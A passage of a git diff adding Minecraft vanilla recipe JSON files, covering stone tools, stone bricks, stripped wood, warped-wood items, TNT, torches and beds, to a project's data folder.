"sticks", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:stick", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stick_from_bamboo_item.json b/src/data/minecraft/recipes/stick_from_bamboo_item.json new file mode 100644 index 00000000..e25ceea3 --- /dev/null +++ b/src/data/minecraft/recipes/stick_from_bamboo_item.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sticks", + "pattern": [ + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:bamboo" + } + }, + "result": { + "item": "minecraft:stick" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sticky_piston.json b/src/data/minecraft/recipes/sticky_piston.json new file mode 100644 index 00000000..b153e164 --- /dev/null +++ b/src/data/minecraft/recipes/sticky_piston.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "S", + "P" + ], + "key": { + "P": { + "item": "minecraft:piston" + }, + "S": { + "item": "minecraft:slime_ball" + } + }, + "result": { + "item": "minecraft:sticky_piston" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone.json b/src/data/minecraft/recipes/stone.json new file mode 100644 index 00000000..8ed533f5 --- /dev/null +++ b/src/data/minecraft/recipes/stone.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:cobblestone" + }, + "result": "minecraft:stone", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_axe.json b/src/data/minecraft/recipes/stone_axe.json new file mode 100644 index 00000000..c796920b --- /dev/null +++ b/src/data/minecraft/recipes/stone_axe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + "X#", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:stone_tool_materials" + } + }, + "result": { + "item": "minecraft:stone_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_slab.json b/src/data/minecraft/recipes/stone_brick_slab.json new file mode 100644 index 00000000..7cd943c0 --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:stone_bricks" + } + }, + "result": { + "item": "minecraft:stone_brick_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_slab_from_stone_bricks_stonecutting.json b/src/data/minecraft/recipes/stone_brick_slab_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..94f762f4 --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_slab_from_stone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone_bricks" + }, + "result": "minecraft:stone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_slab_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_brick_slab_from_stone_stonecutting.json new file mode 100644 index 00000000..ab4aebfa --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_slab_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_brick_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_stairs.json b/src/data/minecraft/recipes/stone_brick_stairs.json new file mode 100644 index 00000000..f1394afe --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:stone_bricks" + } + }, + "result": { + "item": "minecraft:stone_brick_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_stairs_from_stone_bricks_stonecutting.json b/src/data/minecraft/recipes/stone_brick_stairs_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..21ce9d81 --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_stairs_from_stone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone_bricks" + }, + "result": "minecraft:stone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_stairs_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_brick_stairs_from_stone_stonecutting.json new file mode 100644 index 00000000..a48822aa --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_stairs_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_brick_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_wall.json b/src/data/minecraft/recipes/stone_brick_wall.json new file mode 100644 index 00000000..d5e0e9ed --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:stone_bricks" + } + }, + "result": { + "item": "minecraft:stone_brick_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_wall_from_stone_bricks_stonecutting.json b/src/data/minecraft/recipes/stone_brick_wall_from_stone_bricks_stonecutting.json new file mode 100644 index 00000000..9a5800ce --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_wall_from_stone_bricks_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone_bricks" + }, + "result": "minecraft:stone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_brick_walls_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_brick_walls_from_stone_stonecutting.json new file mode 100644 index 00000000..bbf630c4 --- /dev/null +++ b/src/data/minecraft/recipes/stone_brick_walls_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_brick_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_bricks.json b/src/data/minecraft/recipes/stone_bricks.json new file mode 100644 index 00000000..4595c260 --- /dev/null +++ b/src/data/minecraft/recipes/stone_bricks.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:stone_bricks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_bricks_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_bricks_from_stone_stonecutting.json new file mode 100644 index 00000000..bc1f9715 --- /dev/null +++ b/src/data/minecraft/recipes/stone_bricks_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_bricks", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_button.json b/src/data/minecraft/recipes/stone_button.json new file mode 100644 index 00000000..ee596e0c --- /dev/null +++ b/src/data/minecraft/recipes/stone_button.json @@ -0,0 +1,11 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:stone" + } + ], + "result": { + "item": "minecraft:stone_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_hoe.json b/src/data/minecraft/recipes/stone_hoe.json new file mode 100644 index 00000000..b1612f62 --- /dev/null +++ b/src/data/minecraft/recipes/stone_hoe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + " #", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:stone_tool_materials" + } + }, + "result": { + "item": "minecraft:stone_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_pickaxe.json b/src/data/minecraft/recipes/stone_pickaxe.json new file mode 100644 index 00000000..fadc41ba --- /dev/null +++ b/src/data/minecraft/recipes/stone_pickaxe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + " # ", + " # " + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:stone_tool_materials" + } + }, + "result": { + "item": "minecraft:stone_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_pressure_plate.json b/src/data/minecraft/recipes/stone_pressure_plate.json new file mode 100644 index 00000000..ea714c33 --- /dev/null +++ b/src/data/minecraft/recipes/stone_pressure_plate.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:stone_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_shovel.json b/src/data/minecraft/recipes/stone_shovel.json new file mode 100644 index 00000000..f1de4303 --- /dev/null +++ b/src/data/minecraft/recipes/stone_shovel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:stone_tool_materials" + } + }, + "result": { + "item": "minecraft:stone_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_slab.json b/src/data/minecraft/recipes/stone_slab.json new file mode 100644 index 00000000..de66ee7f --- /dev/null +++ b/src/data/minecraft/recipes/stone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:stone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_slab_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_slab_from_stone_stonecutting.json new file mode 100644 index 00000000..c7394e71 --- /dev/null +++ b/src/data/minecraft/recipes/stone_slab_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_stairs.json b/src/data/minecraft/recipes/stone_stairs.json new file mode 100644 index 00000000..7af7bbd2 --- /dev/null +++ b/src/data/minecraft/recipes/stone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:stone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_stairs_from_stone_stonecutting.json b/src/data/minecraft/recipes/stone_stairs_from_stone_stonecutting.json new file mode 100644 index 00000000..d2b9b106 --- /dev/null +++ b/src/data/minecraft/recipes/stone_stairs_from_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:stone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stone_sword.json b/src/data/minecraft/recipes/stone_sword.json new file mode 100644 index 00000000..37a0dd65 --- /dev/null +++ b/src/data/minecraft/recipes/stone_sword.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "tag": "minecraft:stone_tool_materials" + } + }, + "result": { + "item": "minecraft:stone_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stonecutter.json b/src/data/minecraft/recipes/stonecutter.json new file mode 100644 index 00000000..d6da2494 --- /dev/null +++ b/src/data/minecraft/recipes/stonecutter.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " I ", + "###" + ], + "key": { + "I": { + "item": "minecraft:iron_ingot" + }, + "#": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:stonecutter" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_acacia_wood.json b/src/data/minecraft/recipes/stripped_acacia_wood.json new file mode 100644 index 00000000..a40906c1 --- /dev/null +++ b/src/data/minecraft/recipes/stripped_acacia_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_acacia_log" + } + }, + "result": { + "item": "minecraft:stripped_acacia_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_birch_wood.json b/src/data/minecraft/recipes/stripped_birch_wood.json new file mode 100644 index 00000000..5e969cc5 --- /dev/null +++ b/src/data/minecraft/recipes/stripped_birch_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_birch_log" + } + }, + "result": { + "item": "minecraft:stripped_birch_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_crimson_hyphae.json b/src/data/minecraft/recipes/stripped_crimson_hyphae.json new file mode 100644 index 00000000..e9725afc --- /dev/null +++ b/src/data/minecraft/recipes/stripped_crimson_hyphae.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_crimson_stem" + } + }, + "result": { + "item": "minecraft:stripped_crimson_hyphae", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_dark_oak_wood.json b/src/data/minecraft/recipes/stripped_dark_oak_wood.json new file mode 100644 index 00000000..e03e49e2 --- /dev/null +++ b/src/data/minecraft/recipes/stripped_dark_oak_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_dark_oak_log" + } + }, + "result": { + "item": "minecraft:stripped_dark_oak_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_jungle_wood.json b/src/data/minecraft/recipes/stripped_jungle_wood.json new file mode 100644 index 00000000..dfff75fe --- /dev/null +++ b/src/data/minecraft/recipes/stripped_jungle_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_jungle_log" + } + }, + "result": { + "item": "minecraft:stripped_jungle_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_oak_wood.json b/src/data/minecraft/recipes/stripped_oak_wood.json new file mode 100644 index 00000000..de68d18e --- /dev/null +++ b/src/data/minecraft/recipes/stripped_oak_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_oak_log" + } + }, + "result": { + "item": "minecraft:stripped_oak_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_spruce_wood.json b/src/data/minecraft/recipes/stripped_spruce_wood.json new file mode 100644 index 00000000..301a9080 --- /dev/null +++ b/src/data/minecraft/recipes/stripped_spruce_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_spruce_log" + } + }, + "result": { + "item": "minecraft:stripped_spruce_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stripped_warped_hyphae.json b/src/data/minecraft/recipes/stripped_warped_hyphae.json new file mode 100644 index 00000000..4cc7f88a --- /dev/null +++ b/src/data/minecraft/recipes/stripped_warped_hyphae.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:stripped_warped_stem" + } + }, + "result": { + "item": "minecraft:stripped_warped_hyphae", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sugar_from_honey_bottle.json b/src/data/minecraft/recipes/sugar_from_honey_bottle.json new file mode 100644 index 00000000..23b30e8c --- /dev/null +++ b/src/data/minecraft/recipes/sugar_from_honey_bottle.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "sugar", + "ingredients": [ + { + "item": "minecraft:honey_bottle" + } + ], + "result": { + "item": "minecraft:sugar", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sugar_from_sugar_cane.json b/src/data/minecraft/recipes/sugar_from_sugar_cane.json new file mode 100644 index 00000000..68d44c07 --- /dev/null +++ b/src/data/minecraft/recipes/sugar_from_sugar_cane.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "sugar", + "ingredients": [ + { + "item": "minecraft:sugar_cane" + } + ], + "result": { + "item": "minecraft:sugar" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/suspicious_stew.json b/src/data/minecraft/recipes/suspicious_stew.json new file mode 100644 index 00000000..c737e8a2 --- /dev/null +++ b/src/data/minecraft/recipes/suspicious_stew.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_suspiciousstew" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/target.json b/src/data/minecraft/recipes/target.json new file mode 100644 index 00000000..6d57cc78 --- /dev/null +++ b/src/data/minecraft/recipes/target.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " R ", + "RHR", + " R " + ], + "key": { + "H": { + "item": "minecraft:hay_block" + }, + "R": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:target" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/terracotta.json b/src/data/minecraft/recipes/terracotta.json new file mode 100644 index 00000000..0938de6f --- /dev/null +++ b/src/data/minecraft/recipes/terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:clay" + }, + "result": "minecraft:terracotta", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/tipped_arrow.json b/src/data/minecraft/recipes/tipped_arrow.json new file mode 100644 index 00000000..71c7aa58 --- /dev/null +++ b/src/data/minecraft/recipes/tipped_arrow.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_tippedarrow" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/tnt.json b/src/data/minecraft/recipes/tnt.json new file mode 100644 index 00000000..02aa4cce --- /dev/null +++ b/src/data/minecraft/recipes/tnt.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X#X", + "#X#", + "X#X" + ], + "key": { + "#": [ + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:red_sand" + } + ], + "X": { + "item": "minecraft:gunpowder" + } + }, + "result": { + "item": "minecraft:tnt" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/tnt_minecart.json b/src/data/minecraft/recipes/tnt_minecart.json new file mode 100644 index 00000000..777df94e --- /dev/null +++ b/src/data/minecraft/recipes/tnt_minecart.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "A", + "B" + ], + "key": { + "A": { + "item": "minecraft:tnt" + }, + "B": { + "item": "minecraft:minecart" + } + }, + "result": { + "item": "minecraft:tnt_minecart" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/torch.json b/src/data/minecraft/recipes/torch.json new file mode 100644 index 00000000..b7c74de5 --- /dev/null +++ b/src/data/minecraft/recipes/torch.json @@ -0,0 +1,24 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": [ + { + "item": "minecraft:coal" + }, + { + "item": "minecraft:charcoal" + } + ] + }, + "result": { + "item": "minecraft:torch", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/trapped_chest.json b/src/data/minecraft/recipes/trapped_chest.json new file mode 100644 index 00000000..342a79e5 --- /dev/null +++ b/src/data/minecraft/recipes/trapped_chest.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:chest" + }, + { + "item": "minecraft:tripwire_hook" + } + ], + "result": { + "item": "minecraft:trapped_chest" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/tripwire_hook.json b/src/data/minecraft/recipes/tripwire_hook.json new file mode 100644 index 00000000..5cc506f5 --- /dev/null +++ b/src/data/minecraft/recipes/tripwire_hook.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "I", + "S", + "#" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "S": { + "item": "minecraft:stick" + }, + "I": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:tripwire_hook", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/turtle_helmet.json b/src/data/minecraft/recipes/turtle_helmet.json new file mode 100644 index 00000000..9efb5d6a --- /dev/null +++ b/src/data/minecraft/recipes/turtle_helmet.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:scute" + } + }, + "result": { + "item": "minecraft:turtle_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_button.json b/src/data/minecraft/recipes/warped_button.json new file mode 100644 index 00000000..b7c3515a --- /dev/null +++ b/src/data/minecraft/recipes/warped_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:warped_planks" + } + ], + "result": { + "item": "minecraft:warped_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_door.json b/src/data/minecraft/recipes/warped_door.json new file mode 100644 index 00000000..7bccc979 --- /dev/null +++ b/src/data/minecraft/recipes/warped_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_fence.json b/src/data/minecraft/recipes/warped_fence.json new file mode 100644 index 00000000..8b73e8a2 --- /dev/null +++ b/src/data/minecraft/recipes/warped_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_fence_gate.json b/src/data/minecraft/recipes/warped_fence_gate.json new file mode 100644 index 00000000..93f9cc09 --- /dev/null +++ b/src/data/minecraft/recipes/warped_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_fungus_on_a_stick.json b/src/data/minecraft/recipes/warped_fungus_on_a_stick.json new file mode 100644 index 00000000..fdb1ab4b --- /dev/null +++ b/src/data/minecraft/recipes/warped_fungus_on_a_stick.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + " X" + ], + "key": { + "#": { + "item": "minecraft:fishing_rod" + }, + "X": { + "item": "minecraft:warped_fungus" + } + }, + "result": { + "item": "minecraft:warped_fungus_on_a_stick" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_hyphae.json b/src/data/minecraft/recipes/warped_hyphae.json new file mode 100644 index 00000000..880f1c66 --- /dev/null +++ b/src/data/minecraft/recipes/warped_hyphae.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:warped_stem" + } + }, + "result": { + "item": "minecraft:warped_hyphae", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_planks.json b/src/data/minecraft/recipes/warped_planks.json new file mode 100644 index 00000000..6acc4013 --- /dev/null +++ b/src/data/minecraft/recipes/warped_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:warped_stems" + } + ], + "result": { + "item": "minecraft:warped_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_pressure_plate.json b/src/data/minecraft/recipes/warped_pressure_plate.json new file mode 100644 index 00000000..a6294ac7 --- /dev/null +++ b/src/data/minecraft/recipes/warped_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_sign.json b/src/data/minecraft/recipes/warped_sign.json new file mode 100644 index 00000000..747d3514 --- /dev/null +++ b/src/data/minecraft/recipes/warped_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:warped_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_slab.json b/src/data/minecraft/recipes/warped_slab.json new file mode 100644 index 00000000..39497bbf --- /dev/null +++ b/src/data/minecraft/recipes/warped_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_stairs.json b/src/data/minecraft/recipes/warped_stairs.json new file mode 100644 index 00000000..e5dcfb7b --- /dev/null +++ b/src/data/minecraft/recipes/warped_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/warped_trapdoor.json b/src/data/minecraft/recipes/warped_trapdoor.json new file mode 100644 index 00000000..472d4868 --- /dev/null +++ b/src/data/minecraft/recipes/warped_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:warped_planks" + } + }, + "result": { + "item": "minecraft:warped_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/wheat.json b/src/data/minecraft/recipes/wheat.json new file mode 100644 index 00000000..5701cadc --- /dev/null +++ b/src/data/minecraft/recipes/wheat.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:hay_block" + } + ], + "result": { + "item": "minecraft:wheat", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_banner.json b/src/data/minecraft/recipes/white_banner.json new file mode 100644 index 00000000..5485871d --- /dev/null +++ b/src/data/minecraft/recipes/white_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:white_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:white_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_bed.json b/src/data/minecraft/recipes/white_bed.json new file mode 100644 index 00000000..44da6771 --- /dev/null +++ b/src/data/minecraft/recipes/white_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:white_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:white_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/white_carpet.json b/src/data/minecraft/recipes/white_carpet.json new file mode 100644 index 00000000..059e09ed --- /dev/null +++ b/src/data/minecraft/recipes/white_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + 